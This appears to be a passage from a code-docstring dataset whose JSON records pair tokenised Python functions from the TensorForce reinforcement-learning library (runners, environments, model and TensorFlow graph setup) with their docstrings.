\"<STR_LIT:e>\"<EOL><DEDENT>else:<EOL><INDENT>self.save_frequency = save_frequency<EOL>self.save_frequency_unit = save_frequency_unit<EOL><DEDENT>self.episode_list_lock = threading.Lock()<EOL>self.should_stop = False<EOL>self.time = None<EOL>", "docstring": "Initialize a ThreadedRunner object.\n\nArgs:\n    save_path (str): Path where to save the shared model.\n    save_episodes (int): Deprecated: Every how many (global) episodes do we save the shared model?\n    save_frequency (int): The frequency with which to save the model (could be sec, steps, or episodes).\n    save_frequency_unit (str): \"s\" (sec), \"t\" (timesteps), \"e\" (episodes)\n    agents (List[Agent]): Deprecated: List of Agent objects. Use `agent`, instead.\n    environments (List[Environment]): Deprecated: List of Environment objects. Use `environment`, instead.", "id": "f14240:c0:m0"}
{"signature": "def __init__(self, agent, environment, repeat_actions=<NUM_LIT:1>, history=None):", "body": "self.agent = agent<EOL>self.environment = environment<EOL>self.repeat_actions = repeat_actions<EOL>self.global_episode = None  <EOL>self.global_timestep = None  <EOL>self.start_time = None  <EOL>self.episode_rewards = None  <EOL>self.episode_timesteps = None  <EOL>self.episode_times = None  <EOL>self.reset(history)<EOL>", "docstring": "Args:\n    agent (Agent): Agent object (or list of Agent objects) to use for the run.\n    environment (Environment): Environment object (or list of Environment objects) to use for the run.\n    repeat_actions (int): How many times the same given action will be repeated in subsequent calls to\n        Environment's `execute` method. Rewards collected in these calls are accumulated and reported\n        as a sum in the following call to Agent's `observe` method.\n    history (dict): A dictionary containing an already run experiment's results. Keys should be:\n        episode_rewards (list of rewards), episode_timesteps (lengths of episodes), episode_times (run-times)", "id": "f14241:c0:m0"}
{"signature": "def reset(self, history=None):", "body": "if not history:<EOL><INDENT>history = dict()<EOL><DEDENT>self.episode_rewards = history.get(\"<STR_LIT>\", list())<EOL>self.episode_timesteps = history.get(\"<STR_LIT>\", list())<EOL>self.episode_times = history.get(\"<STR_LIT>\", list())<EOL>", "docstring": "Resets the Runner's internal stats counters.\nIf history is empty, use default values in history.get().\n\nArgs:\n    history (dict): A dictionary containing an already run experiment's results. Keys should be:\n        episode_rewards (list of rewards), episode_timesteps (lengths of episodes), episode_times (run-times)", "id": "f14241:c0:m1"}
{"signature": "def close(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Should perform clean up operations on Runner's Agent(s) and Environment(s).", "id": "f14241:c0:m2"}
{"signature": "def run(self, num_episodes, num_timesteps, max_episode_timesteps, deterministic, episode_finished, summary_report,<EOL>summary_interval):", "body": "raise NotImplementedError<EOL>", "docstring": "Executes this runner by starting to act (via Agent(s)) in the given Environment(s).\nStops execution according to certain conditions (e.g. max. number of episodes, etc..).\nCalls callback functions after each episode and/or after some summary criteria are met.\n\nArgs:\n    num_episodes (int): Max. number of episodes to run globally in total (across all threads/workers).\n    num_timesteps (int): Max. number of time steps to run globally in total (across all threads/workers)\n    max_episode_timesteps (int): Max. number of timesteps per episode.\n    deterministic (bool): Whether to use exploration when selecting actions.\n    episode_finished (callable): A function to be called once an episodes has finished. Should take\n        a BaseRunner object and some worker ID (e.g. thread-ID or task-ID). Can decide for itself\n        every how many episodes it should report something and what to report.\n    summary_report (callable): Deprecated; Function that could produce a summary over the training\n        progress so far.\n    summary_interval (int): Deprecated; The number of time steps to execute (globally)\n        before summary_report is called.", "id": "f14241:c0:m3"}
{"signature": "@property<EOL><INDENT>def episode(self):<DEDENT>", "body": "return self.global_episode<EOL>", "docstring": "Deprecated property `episode` -> global_episode.", "id": "f14241:c0:m4"}
{"signature": "@property<EOL><INDENT>def timestep(self):<DEDENT>", "body": "return self.global_timestep<EOL>", "docstring": "Deprecated property `timestep` -> global_timestep.", "id": "f14241:c0:m5"}
{"signature": "def __init__(self, agent, environment, repeat_actions=<NUM_LIT:1>, history=None, id_=<NUM_LIT:0>):", "body": "super(ParallelRunner, self).__init__(agent, environment, repeat_actions, history)<EOL>self.id = id_  <EOL>self.current_timestep = None  <EOL>self.episode_actions = []<EOL>self.num_parallel = self.agent.execution['<STR_LIT>']<EOL>print('<STR_LIT>'.format(self.num_parallel))<EOL>", "docstring": "Initialize a single Runner object (one Agent/one Environment).\n\nArgs:\n    id_ (int): The ID of this Runner (for distributed TF runs).", "id": "f14242:c0:m0"}
{"signature": "def __init__(self, agent, environment, repeat_actions=<NUM_LIT:1>, history=None, id_=<NUM_LIT:0>):", "body": "super(Runner, self).__init__(agent, environment, repeat_actions, history)<EOL>self.id = id_  <EOL>self.current_timestep = None<EOL>", "docstring": "Initialize a single Runner object (one Agent/one Environment).\n\nArgs:\n    id_ (int): The ID of this Runner (for distributed TF runs).", "id": "f14244:c0:m0"}
{"signature": "def __init__(self, specification):", "body": "self.specification = dict()<EOL>for action_type, shape in specification.items():<EOL><INDENT>if action_type in ('<STR_LIT:bool>', '<STR_LIT:int>', '<STR_LIT:float>', '<STR_LIT>'):<EOL><INDENT>if isinstance(shape, int):<EOL><INDENT>self.specification[action_type] = (shape,)<EOL><DEDENT>else:<EOL><INDENT>self.specification[action_type] = tuple(shape)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TensorForceError('<STR_LIT>')<EOL><DEDENT><DEDENT>self.single_state_action = (len(specification) == <NUM_LIT:1>)<EOL>", "docstring": "Initializes a minimal test environment, which is used for the unit tests.\nGiven a specification of actions types and shapes, the environment states consist\nof the same number of pairs (x, y). The (mean of) an action a gives the next state via (1-a, a),\nand the 'correct' state is always (0, 1).\n\nArgs:\n    specification: Takes a dict type (keys)-> shape (values specifying the action\n        structure of the environment. Use shape () for single scalar actions.", "id": "f14245:c0:m0"}
{"signature": "def pre_run(self, agent, environment):", "body": "pass<EOL>", "docstring": "Called before `Runner.run`.", "id": "f14247:c0:m0"}
{"signature": "def close(self):", "body": "pass<EOL>", "docstring": "Close environment. No other method calls possible afterwards.", "id": "f14270:c0:m1"}
{"signature": "def seed(self, seed):", "body": "return None<EOL>", "docstring": "Sets the random seed of the environment to the given value (current time, if seed=None).\nNaturally deterministic Environments (e.g. ALE or some gym Envs) don't have to implement this method.\n\nArgs:\n    seed (int): The seed to use for initializing the pseudo-random number generator (default=epoch time in sec).\nReturns: The actual seed (int) used OR None if Environment did not override this method (no seeding supported).", "id": "f14270:c0:m2"}
{"signature": "def reset(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Reset environment and setup for new episode.\n\nReturns:\n    initial state of reset environment.", "id": "f14270:c0:m3"}
{"signature": "def execute(self, action):", "body": "raise NotImplementedError<EOL>", "docstring": "Executes action, observes next state(s) and reward.\n\nArgs:\n    actions: Actions to execute.\n\nReturns:\n    Tuple of (next state, bool indicating terminal, reward)", "id": "f14270:c0:m4"}
{"signature": "@property<EOL><INDENT>def states(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Return the state space. Might include subdicts if multiple states are \navailable simultaneously.\n\nReturns:\n    States specification, with the following attributes\n        (required):\n        - type: one of 'bool', 'int', 'float' (default: 'float').\n        - shape: integer, or list/tuple of integers (required).", "id": "f14270:c0:m5"}
{"signature": "@property<EOL><INDENT>def actions(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Return the action space. Might include subdicts if multiple actions are \navailable simultaneously.\n\nReturns:\n    actions (spec, or dict of specs): Actions specification, with the following attributes\n        (required):\n        - type: one of 'bool', 'int', 'float' (required).\n        - shape: integer, or list/tuple of integers (default: []).\n        - num_actions: integer (required if type == 'int').\n        - min_value and max_value: float (optional if type == 'float', default: none).", "id": "f14270:c0:m6"}
{"signature": "@staticmethod<EOL><INDENT>def from_spec(spec, kwargs):<DEDENT>", "body": "env = tensorforce.util.get_object(<EOL>obj=spec,<EOL>predefined_objects=tensorforce.environments.environments,<EOL>kwargs=kwargs<EOL>)<EOL>assert isinstance(env, Environment)<EOL>return env<EOL>", "docstring": "Creates an environment from a specification dict.", "id": "f14270:c0:m7"}
{"signature": "def setup_components_and_tf_funcs(self, custom_getter=None):", "body": "<EOL>self.network = Network.from_spec(<EOL>spec=self.network_spec,<EOL>kwargs=dict(summary_labels=self.summary_labels)<EOL>)<EOL>assert len(self.internals_spec) == <NUM_LIT:0><EOL>self.internals_spec = self.network.internals_spec()<EOL>for name in sorted(self.internals_spec):<EOL><INDENT>internal = self.internals_spec[name]<EOL>self.internals_input[name] = tf.placeholder(<EOL>dtype=util.tf_dtype(internal['<STR_LIT:type>']),<EOL>shape=(None,) + tuple(internal['<STR_LIT>']),<EOL>name=('<STR_LIT>' + name)<EOL>)<EOL>if internal['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>self.internals_init[name] = np.zeros(shape=internal['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>custom_getter = super(DistributionModel, self).setup_components_and_tf_funcs(custom_getter)<EOL>self.distributions = self.create_distributions()<EOL>self.fn_kl_divergence = tf.make_template(<EOL>name_='<STR_LIT>',<EOL>func_=self.tf_kl_divergence,<EOL>custom_getter_=custom_getter<EOL>)<EOL>return custom_getter<EOL>", "docstring": "Creates and stores Network and Distribution objects.\nGenerates and stores all template functions.", "id": "f14274:c0:m1"}
{"signature": "def create_distributions(self):", "body": "distributions = dict()<EOL>for name in sorted(self.actions_spec):<EOL><INDENT>action = self.actions_spec[name]<EOL>if self.distributions_spec is not None and name in self.distributions_spec:<EOL><INDENT>kwargs = dict(action)<EOL>kwargs['<STR_LIT>'] = name<EOL>kwargs['<STR_LIT>'] = self.summary_labels<EOL>distributions[name] = Distribution.from_spec(<EOL>spec=self.distributions_spec[name],<EOL>kwargs=kwargs<EOL>)<EOL><DEDENT>elif action['<STR_LIT:type>'] == '<STR_LIT:bool>':<EOL><INDENT>distributions[name] = Bernoulli(<EOL>shape=action['<STR_LIT>'],<EOL>scope=name,<EOL>summary_labels=self.summary_labels<EOL>)<EOL><DEDENT>elif action['<STR_LIT:type>'] == '<STR_LIT:int>':<EOL><INDENT>distributions[name] = Categorical(<EOL>shape=action['<STR_LIT>'],<EOL>num_actions=action['<STR_LIT>'],<EOL>scope=name,<EOL>summary_labels=self.summary_labels<EOL>)<EOL><DEDENT>elif action['<STR_LIT:type>'] == '<STR_LIT:float>':<EOL><INDENT>if '<STR_LIT>' in action:<EOL><INDENT>distributions[name] = Beta(<EOL>shape=action['<STR_LIT>'],<EOL>min_value=action['<STR_LIT>'],<EOL>max_value=action['<STR_LIT>'],<EOL>scope=name,<EOL>summary_labels=self.summary_labels<EOL>)<EOL><DEDENT>else:<EOL><INDENT>distributions[name] = Gaussian(<EOL>shape=action['<STR_LIT>'],<EOL>scope=name,<EOL>summary_labels=self.summary_labels<EOL>)<EOL><DEDENT><DEDENT><DEDENT>return distributions<EOL>", "docstring": "Creates and returns the Distribution objects based on self.distributions_spec.\n\nReturns: Dict of distributions according to self.distributions_spec.", "id": "f14274:c0:m2"}
{"signature": "def __init__(<EOL>self,<EOL>states,<EOL>actions,<EOL>scope,<EOL>device,<EOL>saver,<EOL>summarizer,<EOL>execution,<EOL>batching_capacity,<EOL>variable_noise,<EOL>states_preprocessing,<EOL>actions_exploration,<EOL>reward_preprocessing,<EOL>tf_session_dump_dir=\"<STR_LIT>\"<EOL>):", "body": "<EOL>self.network = None<EOL>self.states_spec = states<EOL>self.internals_spec = dict()<EOL>self.actions_spec = actions<EOL>self.scope = scope<EOL>self.device = device<EOL>if saver is None or saver.get('<STR_LIT>') is None:<EOL><INDENT>self.saver_spec = None<EOL><DEDENT>else:<EOL><INDENT>self.saver_spec = saver<EOL><DEDENT>if summarizer is None or summarizer.get('<STR_LIT>') is None:<EOL><INDENT>self.summarizer_spec = None<EOL>self.summary_labels = set()<EOL><DEDENT>else:<EOL><INDENT>self.summarizer_spec = summarizer<EOL>self.summary_labels = set(self.summarizer_spec.get('<STR_LIT>', ()))<EOL><DEDENT>self.summarizer = None<EOL>self.graph_summary = None<EOL>self.summarizer_init_op = None<EOL>self.flush_summarizer = None<EOL>self.execution_spec = execution<EOL>self.execution_type = self.execution_spec[\"<STR_LIT:type>\"]<EOL>self.session_config = self.execution_spec[\"<STR_LIT>\"]<EOL>self.distributed_spec = self.execution_spec[\"<STR_LIT>\"]<EOL>assert batching_capacity is None or (isinstance(batching_capacity, int) and batching_capacity > <NUM_LIT:0>)<EOL>self.batching_capacity = batching_capacity or <NUM_LIT:1>  <EOL>self.tf_session_dump_dir = tf_session_dump_dir<EOL>self.num_parallel = self.execution_spec.get('<STR_LIT>')<EOL>if self.num_parallel is None:<EOL><INDENT>self.num_parallel = <NUM_LIT:1><EOL><DEDENT>self.list_states_buffer = dict()<EOL>self.list_internals_buffer = dict()<EOL>self.list_actions_buffer = dict()<EOL>self.list_buffer_index = [None for _ in range(self.num_parallel)]<EOL>self.episode_output = None<EOL>self.episode_index_input = None<EOL>self.unbuffered_episode_output = None<EOL>assert variable_noise is None or variable_noise > <NUM_LIT:0.0><EOL>self.variable_noise = variable_noise<EOL>self.states_preprocessing_spec = states_preprocessing<EOL>self.actions_exploration_spec = actions_exploration<EOL>self.reward_preprocessing_spec = reward_preprocessing<EOL>self.variables = None<EOL>self.all_variables = None<EOL>self.registered_variables = None<EOL>self.list_timestep = [None for _ in range(self.num_parallel)]<EOL>self.episode = None<EOL>self.global_timestep = None<EOL>self.global_episode = None<EOL>self.states_input = dict()<EOL>self.states_preprocessing = dict()<EOL>self.internals_input = dict()<EOL>self.internals_init = dict()<EOL>self.actions_input = dict()<EOL>self.actions_exploration = dict()<EOL>self.terminal_input = None<EOL>self.reward_input = None<EOL>self.reward_preprocessing = None<EOL>self.deterministic_input = None<EOL>self.independent_input = None<EOL>self.update_input = None<EOL>self.fn_initialize = None<EOL>self.fn_preprocess = None<EOL>self.fn_actions_and_internals = None<EOL>self.fn_observe_timestep = None<EOL>self.fn_action_exploration = None<EOL>self.graph = None<EOL>self.global_model = None<EOL>self.is_local_model = True<EOL>self.server = None<EOL>self.summarizer = None<EOL>self.saver = None<EOL>self.saver_directory = None<EOL>self.scaffold = None<EOL>self.session = None<EOL>self.monitored_session = None<EOL>self.actions_output = None<EOL>self.internals_output = None<EOL>self.timestep_output = None<EOL>self.list_buffer_index_reset_op = None<EOL>self.setup()<EOL>", "docstring": "Model.\n\nArgs:\n    states (spec): The state-space description dictionary.\n    actions (spec): The action-space description dictionary.\n    scope (str): The root scope str to use for tf variable scoping.\n    device (str): The name of the device to run the graph of this model on.\n    saver (spec): Dict specifying whether and how to save the model's parameters.\n    summarizer (spec): Dict specifying which tensorboard summaries should be created and added to the graph.\n    execution (spec): Dict specifying whether and how to do distributed training on the model's graph.\n    batching_capacity (int): Batching capacity.\n    variable_noise (float): The stddev value of a Normal distribution used for adding random\n        noise to the model's output (for each batch, noise can be toggled and - if active - will be resampled).\n        Use None for not adding any noise.\n    states_preprocessing (spec / dict of specs): Dict specifying whether and how to preprocess state signals\n        (e.g. normalization, greyscale, etc..).\n    actions_exploration (spec / dict of specs): Dict specifying whether and how to add exploration to the model's\n        \"action outputs\" (e.g. epsilon-greedy).\n    reward_preprocessing (spec): Dict specifying whether and how to preprocess rewards coming\n        from the Environment (e.g. reward normalization).\n    tf_session_dump_dir (str): If non-empty string, all session.run calls will be dumped using the tensorflow\n        offline-debug session into the given directory.\n    execution: (dict)\n        - num_parallel: (int) number of parallel episodes", "id": "f14275:c0:m0"}
{"signature": "def setup(self):", "body": "<EOL>graph_default_context = self.setup_graph()<EOL>if self.execution_type == \"<STR_LIT>\" and self.server is None and self.is_local_model:<EOL><INDENT>self.start_server()<EOL><DEDENT>with tf.device(device_name_or_function=self.device):<EOL><INDENT>with tf.variable_scope(name_or_scope=self.scope, reuse=False):<EOL><INDENT>self.variables = dict()<EOL>self.all_variables = dict()<EOL>self.registered_variables = set()<EOL>self.setup_placeholders()<EOL>self.setup_components_and_tf_funcs()<EOL>self.fn_initialize()<EOL>if self.summarizer_spec is not None:<EOL><INDENT>with tf.name_scope(name='<STR_LIT>'):<EOL><INDENT>self.summarizer = tf.contrib.summary.create_file_writer(<EOL>logdir=self.summarizer_spec['<STR_LIT>'],<EOL>max_queue=None,<EOL>flush_millis=(self.summarizer_spec.get('<STR_LIT>', <NUM_LIT:10>) * <NUM_LIT:1000>),<EOL>filename_suffix=None,<EOL>name=None<EOL>)<EOL>default_summarizer = self.summarizer.as_default()<EOL>assert '<STR_LIT>' not in self.summarizer_spec<EOL>record_summaries = tf.contrib.summary.always_record_summaries()<EOL><DEDENT>default_summarizer.__enter__()<EOL>record_summaries.__enter__()<EOL><DEDENT>states = util.map_tensors(fn=tf.identity, tensors=self.states_input)<EOL>internals = util.map_tensors(fn=tf.identity, tensors=self.internals_input)<EOL>actions = util.map_tensors(fn=tf.identity, tensors=self.actions_input)<EOL>terminal = tf.identity(input=self.terminal_input)<EOL>reward = tf.identity(input=self.reward_input)<EOL>deterministic = tf.identity(input=self.deterministic_input)<EOL>independent = tf.identity(input=self.independent_input)<EOL>episode_index = tf.identity(input=self.episode_index_input)<EOL>states, actions, reward = self.fn_preprocess(states=states, actions=actions, reward=reward)<EOL>self.create_operations(<EOL>states=states,<EOL>internals=internals,<EOL>actions=actions,<EOL>terminal=terminal,<EOL>reward=reward,<EOL>deterministic=deterministic,<EOL>independent=independent,<EOL>index=episode_index<EOL>)<EOL>if '<STR_LIT>' in self.summary_labels or '<STR_LIT>' in self.summary_labels:<EOL><INDENT>for name in sorted(states):<EOL><INDENT>tf.contrib.summary.histogram(name=('<STR_LIT>' + name), tensor=states[name])<EOL><DEDENT><DEDENT>if '<STR_LIT>' in self.summary_labels or '<STR_LIT>' in self.summary_labels:<EOL><INDENT>for name in sorted(actions):<EOL><INDENT>tf.contrib.summary.histogram(name=('<STR_LIT>' + name), tensor=actions[name])<EOL><DEDENT><DEDENT>if '<STR_LIT>' in self.summary_labels or '<STR_LIT>' in self.summary_labels:<EOL><INDENT>tf.contrib.summary.histogram(name='<STR_LIT>', tensor=reward)<EOL><DEDENT>if '<STR_LIT>' in self.summary_labels:<EOL><INDENT>with tf.name_scope(name='<STR_LIT>'):<EOL><INDENT>graph_def = self.graph.as_graph_def()<EOL>graph_str = tf.constant(<EOL>value=graph_def.SerializeToString(),<EOL>dtype=tf.string,<EOL>shape=()<EOL>)<EOL>self.graph_summary = tf.contrib.summary.graph(<EOL>param=graph_str,<EOL>step=self.global_timestep<EOL>)<EOL>if '<STR_LIT>' in self.summarizer_spec:<EOL><INDENT>self.graph_summary = tf.group(<EOL>self.graph_summary,<EOL>*self.summarizer_spec['<STR_LIT>'].build_metagraph_list()<EOL>)<EOL><DEDENT><DEDENT><DEDENT>if self.summarizer_spec is not None:<EOL><INDENT>record_summaries.__exit__(None, None, None)<EOL>default_summarizer.__exit__(None, None, None)<EOL>with tf.name_scope(name='<STR_LIT>'):<EOL><INDENT>self.flush_summarizer = tf.contrib.summary.flush()<EOL>self.summarizer_init_op = tf.contrib.summary.summary_writer_initializer_op()<EOL>assert len(self.summarizer_init_op) == <NUM_LIT:1><EOL>self.summarizer_init_op = self.summarizer_init_op[<NUM_LIT:0>]<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if self.execution_type == \"<STR_LIT>\" and not self.is_local_model:<EOL><INDENT>return<EOL><DEDENT>self.setup_saver()<EOL>self.setup_scaffold()<EOL>hooks = self.setup_hooks()<EOL>self.setup_session(self.server, hooks, graph_default_context)<EOL>", "docstring": "Sets up the TensorFlow model graph, starts the servers (distributed mode), creates summarizers\nand savers, initializes (and enters) the TensorFlow session.", "id": "f14275:c0:m1"}
{"signature": "def setup_graph(self):", "body": "graph_default_context = None<EOL>if self.execution_type == \"<STR_LIT>\":<EOL><INDENT>self.graph = tf.Graph()<EOL>graph_default_context = self.graph.as_default()<EOL>graph_default_context.__enter__()<EOL>self.global_model = None<EOL><DEDENT>elif self.execution_type == \"<STR_LIT>\":<EOL><INDENT>if self.distributed_spec[\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>return None<EOL><DEDENT>elif self.distributed_spec[\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>if self.is_local_model:<EOL><INDENT>graph = tf.Graph()<EOL>graph_default_context = graph.as_default()<EOL>graph_default_context.__enter__()<EOL>self.global_model = deepcopy(self)<EOL>self.global_model.is_local_model = False<EOL>self.global_model.setup()<EOL>self.graph = graph<EOL>self.as_local_model()<EOL>self.scope += '<STR_LIT>' + str(self.distributed_spec[\"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>self.graph = tf.get_default_graph()  <EOL>self.global_model = None<EOL>self.device = tf.train.replica_device_setter(<EOL>worker_device=self.device,<EOL>cluster=self.distributed_spec[\"<STR_LIT>\"]<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\".format(self.distributed_spec[\"<STR_LIT>\"]))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\".format(self.distributed_spec[\"<STR_LIT:type>\"]))<EOL><DEDENT>return graph_default_context<EOL>", "docstring": "Creates our Graph and figures out, which shared/global model to hook up to.\nIf we are in a global-model's setup procedure, we do not create\na new graph (return None as the context). We will instead use the already existing local replica graph\nof the model.\n\nReturns: None or the graph's as_default()-context.", "id": "f14275:c0:m2"}
{"signature": "def start_server(self):", "body": "self.server = tf.train.Server(<EOL>server_or_cluster_def=self.distributed_spec[\"<STR_LIT>\"],<EOL>job_name=self.distributed_spec[\"<STR_LIT>\"],<EOL>task_index=self.distributed_spec[\"<STR_LIT>\"],<EOL>protocol=self.distributed_spec.get(\"<STR_LIT>\"),<EOL>config=self.distributed_spec.get(\"<STR_LIT>\"),<EOL>start=True<EOL>)<EOL>if self.distributed_spec[\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>self.server.join()<EOL>quit()<EOL><DEDENT>", "docstring": "Creates and stores a tf server (and optionally joins it if we are a parameter-server).\nOnly relevant, if we are running in distributed mode.", "id": "f14275:c0:m3"}
{"signature": "def setup_placeholders(self):", "body": "<EOL>for name in sorted(self.states_spec):<EOL><INDENT>self.states_input[name] = tf.placeholder(<EOL>dtype=util.tf_dtype(self.states_spec[name]['<STR_LIT:type>']),<EOL>shape=(None,) + tuple(self.states_spec[name]['<STR_LIT>']),<EOL>name=('<STR_LIT>' + name)<EOL>)<EOL><DEDENT>if self.states_preprocessing_spec is None:<EOL><INDENT>for name in sorted(self.states_spec):<EOL><INDENT>self.states_spec[name]['<STR_LIT>'] = self.states_spec[name]['<STR_LIT>']<EOL><DEDENT><DEDENT>elif not isinstance(self.states_preprocessing_spec, list) andall(name in self.states_spec for name in self.states_preprocessing_spec):<EOL><INDENT>for name in sorted(self.states_spec):<EOL><INDENT>if name in self.states_preprocessing_spec:<EOL><INDENT>preprocessing = PreprocessorStack.from_spec(<EOL>spec=self.states_preprocessing_spec[name],<EOL>kwargs=dict(shape=self.states_spec[name]['<STR_LIT>'])<EOL>)<EOL>self.states_spec[name]['<STR_LIT>'] = self.states_spec[name]['<STR_LIT>']<EOL>self.states_spec[name]['<STR_LIT>'] = preprocessing.processed_shape(shape=self.states_spec[name]['<STR_LIT>'])<EOL>self.states_preprocessing[name] = preprocessing<EOL><DEDENT>else:<EOL><INDENT>self.states_spec[name]['<STR_LIT>'] = self.states_spec[name]['<STR_LIT>']<EOL><DEDENT><DEDENT><DEDENT>elif \"<STR_LIT:type>\" in self.states_preprocessing_spec:<EOL><INDENT>preprocessing = PreprocessorStack.from_spec(spec=self.states_preprocessing_spec,<EOL>kwargs=dict(shape=self.states_spec[name]['<STR_LIT>']))<EOL>for name in sorted(self.states_spec):<EOL><INDENT>self.states_spec[name]['<STR_LIT>'] = self.states_spec[name]['<STR_LIT>']<EOL>self.states_spec[name]['<STR_LIT>'] = preprocessing.processed_shape(shape=self.states_spec[name]['<STR_LIT>'])<EOL>self.states_preprocessing[name] = preprocessing<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for name in sorted(self.states_spec):<EOL><INDENT>preprocessing = PreprocessorStack.from_spec(<EOL>spec=self.states_preprocessing_spec,<EOL>kwargs=dict(shape=self.states_spec[name]['<STR_LIT>'])<EOL>)<EOL>self.states_spec[name]['<STR_LIT>'] = self.states_spec[name]['<STR_LIT>']<EOL>self.states_spec[name]['<STR_LIT>'] = preprocessing.processed_shape(shape=self.states_spec[name]['<STR_LIT>'])<EOL>self.states_preprocessing[name] = preprocessing<EOL><DEDENT><DEDENT>for name in sorted(self.actions_spec):<EOL><INDENT>self.actions_input[name] = tf.placeholder(<EOL>dtype=util.tf_dtype(self.actions_spec[name]['<STR_LIT:type>']),<EOL>shape=(None,) + tuple(self.actions_spec[name]['<STR_LIT>']),<EOL>name=('<STR_LIT>' + name)<EOL>)<EOL><DEDENT>if self.actions_exploration_spec is None:<EOL><INDENT>pass<EOL><DEDENT>elif all(name in self.actions_spec for name in self.actions_exploration_spec):<EOL><INDENT>for name in sorted(self.actions_spec):<EOL><INDENT>if name in self.actions_exploration:<EOL><INDENT>self.actions_exploration[name] = Exploration.from_spec(spec=self.actions_exploration_spec[name])<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for name in sorted(self.actions_spec):<EOL><INDENT>self.actions_exploration[name] = Exploration.from_spec(spec=self.actions_exploration_spec)<EOL><DEDENT><DEDENT>self.terminal_input = tf.placeholder(dtype=util.tf_dtype('<STR_LIT:bool>'), shape=(None,), name='<STR_LIT>')<EOL>self.reward_input = tf.placeholder(dtype=util.tf_dtype('<STR_LIT:float>'), shape=(None,), name='<STR_LIT>')<EOL>if self.reward_preprocessing_spec is not None:<EOL><INDENT>self.reward_preprocessing = PreprocessorStack.from_spec(<EOL>spec=self.reward_preprocessing_spec,<EOL>kwargs=dict(shape=())<EOL>)<EOL>if self.reward_preprocessing.processed_shape(shape=()) != ():<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>self.deterministic_input = tf.placeholder(dtype=util.tf_dtype('<STR_LIT:bool>'), shape=(), name='<STR_LIT>')<EOL>self.independent_input = tf.placeholder(dtype=util.tf_dtype('<STR_LIT:bool>'), shape=(), name='<STR_LIT>')<EOL>", "docstring": "Creates the TensorFlow placeholders, variables, ops and functions for this model.\nNOTE: Does not add the internal state placeholders and initialization values to the model yet as that requires\nthe model's Network (if any) to be generated first.", "id": "f14275:c0:m4"}
{"signature": "def setup_components_and_tf_funcs(self, custom_getter=None):", "body": "if custom_getter is None:<EOL><INDENT>def custom_getter(getter, name, registered=False, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if registered:<EOL><INDENT>self.registered_variables.add(name)<EOL><DEDENT>elif name in self.registered_variables:<EOL><INDENT>registered = True<EOL><DEDENT>variable = getter(name=name, **kwargs)<EOL>if registered:<EOL><INDENT>pass<EOL><DEDENT>elif name in self.all_variables:<EOL><INDENT>assert variable is self.all_variables[name]<EOL>if kwargs.get('<STR_LIT>', True):<EOL><INDENT>assert variable is self.variables[name]<EOL>if '<STR_LIT>' in self.summary_labels:<EOL><INDENT>tf.contrib.summary.histogram(name=name, tensor=variable)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>self.all_variables[name] = variable<EOL>if kwargs.get('<STR_LIT>', True):<EOL><INDENT>self.variables[name] = variable<EOL>if '<STR_LIT>' in self.summary_labels:<EOL><INDENT>tf.contrib.summary.histogram(name=name, tensor=variable)<EOL><DEDENT><DEDENT><DEDENT>return variable<EOL><DEDENT><DEDENT>self.fn_initialize = tf.make_template(<EOL>name_='<STR_LIT>',<EOL>func_=self.tf_initialize,<EOL>custom_getter_=custom_getter<EOL>)<EOL>self.fn_preprocess = tf.make_template(<EOL>name_='<STR_LIT>',<EOL>func_=self.tf_preprocess,<EOL>custom_getter_=custom_getter<EOL>)<EOL>self.fn_actions_and_internals = tf.make_template(<EOL>name_='<STR_LIT>',<EOL>func_=self.tf_actions_and_internals,<EOL>custom_getter_=custom_getter<EOL>)<EOL>self.fn_observe_timestep = tf.make_template(<EOL>name_='<STR_LIT>',<EOL>func_=self.tf_observe_timestep,<EOL>custom_getter_=custom_getter<EOL>)<EOL>self.fn_action_exploration = tf.make_template(<EOL>name_='<STR_LIT>',<EOL>func_=self.tf_action_exploration,<EOL>custom_getter_=custom_getter<EOL>)<EOL>return custom_getter<EOL>", "docstring": "Allows child models to create model's component objects, such as optimizer(s), memory(s), etc..\nCreates all tensorflow functions via tf.make_template calls on all the class' \"tf_\"-methods.\n\nArgs:\n    custom_getter: The `custom_getter_` object to use for `tf.make_template` when creating TensorFlow functions.\n        If None, use a default custom_getter_.\n\nReturns: The custom_getter passed in (or a default one if custom_getter was None).", "id": "f14275:c0:m5"}
{"signature": "def setup_saver(self):", "body": "if self.execution_type == \"<STR_LIT>\":<EOL><INDENT>global_variables = self.get_variables(include_submodules=True, include_nontrainable=True)<EOL><DEDENT>else:<EOL><INDENT>global_variables = self.global_model.get_variables(include_submodules=True, include_nontrainable=True)<EOL><DEDENT>for c in self.get_savable_components():<EOL><INDENT>c.register_saver_ops()<EOL><DEDENT>self.saver = tf.train.Saver(<EOL>var_list=global_variables,  <EOL>reshape=False,<EOL>sharded=False,<EOL>max_to_keep=<NUM_LIT:5>,<EOL>keep_checkpoint_every_n_hours=<NUM_LIT>,<EOL>name=None,<EOL>restore_sequentially=False,<EOL>saver_def=None,<EOL>builder=None,<EOL>defer_build=False,<EOL>allow_empty=True,<EOL>write_version=tf.train.SaverDef.V2,<EOL>pad_step_number=False,<EOL>save_relative_paths=True<EOL>)<EOL>", "docstring": "Creates the tf.train.Saver object and stores it in self.saver.", "id": "f14275:c0:m6"}
